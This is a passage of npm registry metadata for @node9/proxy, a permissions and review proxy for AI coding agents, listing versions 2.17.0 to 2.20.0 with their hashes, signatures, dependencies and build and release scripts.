pcHMXAGakLi4xFFl7OXsoarz3egeuM0MJ+gzRL9uFRr1fVpR3yDWWppGUnyu3z8R4yFdl04OeTszKDoYM7w==","signatures":[{"sig":"MEQCIFr37PaYpAeFXJpEB5ABwuDogB4z2NFEa/MyVmSk6ntRAiAl7Zxzpao9WWP3eTMRMFRHSrd1EqaRbMeMhPUxiM4TZQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDTKcKUn2z+Nne9lovl9kHyrq+gidBwuwWRXLJM0yH+NgIhAPPzF08djOizF/ZirJPxz6XzBZVE1+jq1HFzkfzGM90A","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.17.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7621264},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"64efb64edc3b2a65f9eef83d0b1d81fc3d61d0cd","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.125.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.17.0_1789983273757_0.7700753951834223","host":"s3://npm-registry-packages-npm-production"}},"2.18.0":{"name":"@node9/proxy","version":"2.18.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.18.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"4d4f6f6f33eaf86a3e4db39d34466cfb4a860332","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.18.0.tgz","fileCount":17,"integrity":"sha512-3Mk7QU1box19f0Xhv3YIeEyHirwN3rhbuzGhHSrcy/joRn6Wdy2N9tPpYJuve0RGH68DimPLk7gmlut/aat12Q==","signatures":[{"sig":"MEUCIGKytQsYqdD99AfrYJ/cre9lLZwcYYkmeOc5rdgldzrhAiEAylMe6Zx3J+t/paVSHSwn3X+6cj6NQGvlbHBlbqmHKLY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIFus3ngdRPCNhMmODMmDzzxJe38BLVgt9AI4OXOV4c6HAiBgDO8dWy+scQ/FhHivOTQWUKdXQ2yoRzPDnyPnIT8O/A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.18.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7620592},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f3ec8fefe9cc4dc8f3484bc971f880e206fd00a6","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.125.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.18.0_1789999748980_0.34415067916950837","host":"s3://npm-registry-packages-npm-production"}},"2.19.0":{"name":"@node9/proxy","version":"2.19.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.19.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b8aa2cfc0cb5450c15ec8d7cb1337d8d2266cf1e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.19.0.tgz","fileCount":17,"integrity":"sha512-ZoGhHCbcn8EIey4dELuDwYmeYZns2MEj+IOPihkJwmyy2NvHWfQ0syX2KzAF/SQxISnmIXqYHTjALXOTO8YlVw==","signatures":[{"sig":"MEUCIHtDlsC+Tzeae4dR4cjILdLKreErEGLPeesl575WZfXKAiEA7v5TzRnp72MC8Q65xtQgirTFIS31wypFLEZ9BLAre/4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDUQiO3WXAatBX6te7gd/Z6IxzIsUgGEY1ATKD0GcGfxgIgYl1FsGfi1z6dj33LIl5CAv6yFnD3N64WqQ4z7PKZet4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.19.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7621338},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"ac792dcb2e38d190ec535b96c69ec69dcd74cd8c","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.125.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.19.0_1790006699725_0.5118984140467697","host":"s3://npm-registry-packages-npm-production"}},"2.19.1":{"name":"@node9/proxy","version":"2.19.1","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.19.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"35d9afb2b790cc56621329c8994d8153aa81f76e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.19.1.tgz","fileCount":17,"integrity":"sha512-P20TVpGsnJIulBkmzGpzCq9LiXl8lHjzmRrR3ahXPzUNz9MSEX9E5eAGn3zhJMabvhzKdI1riregQ7rdL2Cblw==","signatures":[{"sig":"MEYCIQCuTB2v9F2R8knXMLQdOUMazfBhLfSqhIOF++wXTZ3s5gIhAJdv/xmXG2AKRa46M6q1lOb2JX0LEvheG1uC+0ElmzrW","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCHl7CdrRYnVBgZjbnr6UVA7My77r1Wi+fRDZC++byJBAIgSPl8MlBMZPpgpUKsWQ5/01A9o2HuxlPnbWshwr+DI2w=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.19.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7622234},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"908a8530a5e0dfaf19bb5d760e80c7dbe7914f43","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.125.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.19.1_1790076094693_0.18238074654602943","host":"s3://npm-registry-packages-npm-production"}},"2.19.2":{"name":"@node9/proxy","version":"2.19.2","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.19.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"41215d76ea6af7b95527d7a987126ece92e0e71e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.19.2.tgz","fileCount":17,"integrity":"sha512-xdbzK4r/RNJgefbNRt/nK4QNgkqn1DqGm4Uhe93xwNn05kLyvi5aoPr+vgx4GDkkC8DAKHk+sXE4AEGGAN+FSg==","signatures":[{"sig":"MEUCIQD6sWNHS2lE0irzyDyqYgR9zMQgCJhM0p1FQ0/PwTIiswIgeCeeDtYJnrw8Z7RPBuQDzjsjskuRQ4rOvjcjgPD9Q/4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQD3DuDQoF7MUBYOPzaMxtJ+75Wacv5sS+3NzaTwET0EVAIhAMaVDxU/9h8dRYQnuQ4wdVUwcqikVep/1BUZ63U3dUSO","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.19.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7622634},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"910874db06a95b49374fae54425d3fe4ab151082","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.125.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.19.2_1790087518284_0.08503256144421201","host":"s3://npm-registry-packages-npm-production"}},"2.20.0":{"name":"@node9/proxy","version":"2.20.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.20.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"2c9229ecde6306a0797c15db7eeb7e948cf12742","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.20.0.tgz","fileCount":17,"integrity":"sha512-Nrz1vnFF6F5ib8DYc7/k9/KnagYNCL8PMkJ5r3j2PQFXJRD1Yg8BI1Fm2RWYRrwnh3R1oI7a/w37z+OSp9i9/w==","signatures":[{"sig":"MEQCIC+1Oo58Jd4kbQRTklXI1/TSjp0eRkK9ZotnuWY8q0L8AiA2QI3WTyowhrwmrpfN5vchwiFlIXF/VcEoWpvQGUPXJg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIDJb0Q1OHD+PWsviJf98wzE7sXSQZJd+yMB+yMlpZA5BAiBOnc1RejxlOWEt9ZJl0gabnx88EK+QpjuZZTqC3ah4XQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.20.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7647864},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7aa545e359a561cbffcc4c693c14e87caab132fd","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx 